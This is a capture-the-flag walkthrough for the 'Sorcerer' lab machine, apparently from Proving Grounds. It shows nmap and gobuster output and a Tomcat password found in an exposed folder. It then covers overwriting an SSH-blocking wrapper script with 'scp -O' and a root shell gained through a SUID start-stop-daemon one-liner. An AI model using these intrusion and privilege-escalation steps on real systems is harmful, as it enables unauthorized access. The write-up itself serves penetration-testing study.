Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 81:2a:42:24:b5:90:a1:ce:9b:ac:e7:4e:1d:6d:b4:c6 (RSA)
| 256 d0:73:2a:05:52:7f:89:09:37:76:e3:56:c8:ab:20:99 (ECDSA)
|_ 256 3a:2d:de:33:b0:1e:f2:35:0f:8d:c8:d7:8f:f9:e0:0e (ED25519)
80/tcp open http nginx
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 3 2049/udp nfs
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 40470/udp mountd
| 100005 1,2,3 44355/tcp mountd
| 100021 1,3,4 43301/tcp nlockmgr
| 100021 1,3,4 51802/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/udp nfs_acl
2049/tcp open nfs 3-4 (RPC #100003)
8080/tcp open http Apache Tomcat 7.0.4
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
6351/tcp filtered unknown
7742/tcp open msss
8080/tcp open http-proxy
10025/tcp filtered unknown
10933/tcp filtered octopustentacle
12192/tcp filtered unknown
15480/tcp filtered unknown
16431/tcp filtered unknown
22786/tcp filtered unknown
23222/tcp filtered unknown
35701/tcp filtered unknown
37299/tcp open unknown
38957/tcp filtered unknown
40178/tcp filtered unknown
43301/tcp open unknown
43636/tcp filtered unknown
44355/tcp open unknown
44790/tcp filtered unknown
44999/tcp filtered unknown
45643/tcp open unknown
46404/tcp filtered unknown
48122/tcp filtered unknown
52879/tcp filtered unknown
54751/tcp filtered unknown
56509/tcp filtered unknown
64714/tcp filtered unknown
Enumeration
80 is not found.
8080 is tomcat.
7742 takes us to a login page.
Viewing source, the login prompt is fake.
Gobuster on 7742:
┌──(kali㉿kali)-[~/ProvingGrounds/Sorcerer]
└─$ gobuster dir -u http://192.168.222.100:7742 -w /usr/share/wordlists/dirb/common.txt -x txt,php,aspx
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.222.100:7742
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: txt,php,aspx
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
default (Status: 301) [Size: 178] [--> http://192.168.222.100:7742/default/]
index.html (Status: 200) [Size: 1219]
zipfiles (Status: 301) [Size: 178] [--> http://192.168.222.100:7742/zipfiles/]
Progress: 18452 / 18452 (100.00%)
===============================================================
Finished
===============================================================
Looking in /zipfiles, we find a private key for max as well as a tomcat file containing apache credentials. We also find an scp script that is blocking SSH access but allowing SCP
<role rolename="manager-gui"/>
<user username="tomcat" password="VTUD2XxJjf5LPmu6" roles="manager-gui"/>
</tomcat-users>
We try to log in to Max via SSH but the script (likely in his home directory) is preventing us We can use scp though.
There is something preventing even scp.
┌──(kali㉿kali)-[~/ProvingGrounds/Sorcerer]
└─$ scp -i id_rsa max@192.168.222.100:/etc/passwd .
scp: Received message too long 1094927173
scp: Ensure the remote shell produces no output for non-interactive sessions.
Did some research and we can use -O to bypass this issue
┌──(kali㉿kali)-[~/ProvingGrounds/Sorcerer]
└─$ scp -i id_rsa scp_wrapper.sh max@192.168.222.100:/home/max/scp_wrapper.sh
scp: Received message too long 1094927173
scp: Ensure the remote shell produces no output for non-interactive sessions.
becomes:
┌──(kali㉿kali)-[~/ProvingGrounds/Sorcerer]
└─$ scp -O -i id_rsa scp_wrapper.sh max@192.168.222.100:/home/max/scp_wrapper.sh
scp_wrapper.sh 100% 123 2.2KB/s 00:00
NOTE: The -O flag in the scp command forces the client to use the original, legacy SCP/RCP file transfer protocol instead of the modern SFTP protocol. You can consult the scp(1) manual for full technical documentation.
What we did was upload a modified version of the scp_wrapper.sh to the home directory, overwriting the file blocking us from ssh
Once we are in, we upgrade shell
We find local.txt in Dennis’ home directory
upgrade
NOTE: I used python3 -c 'import pty;pty.spawn ("/bin/bash")' to upgrade shell, but I’ve been seeing this too.
/usr/bin/script -qc /bin/bash /dev/null
Privilege Escalation
I transferred and ran linpeas on the target.
Found that /usr/sbin/start-stop-daemon has the SUID bit set. GTFOBins shows us that we can get a root shell with that.
/usr/sbin/start-stop-daemon -S -x /bin/sh -- -p
We are root!
However, not able to cd into /root for some reason. Had to run id and then it let me. Glitchy.
Grabbed proof.txt.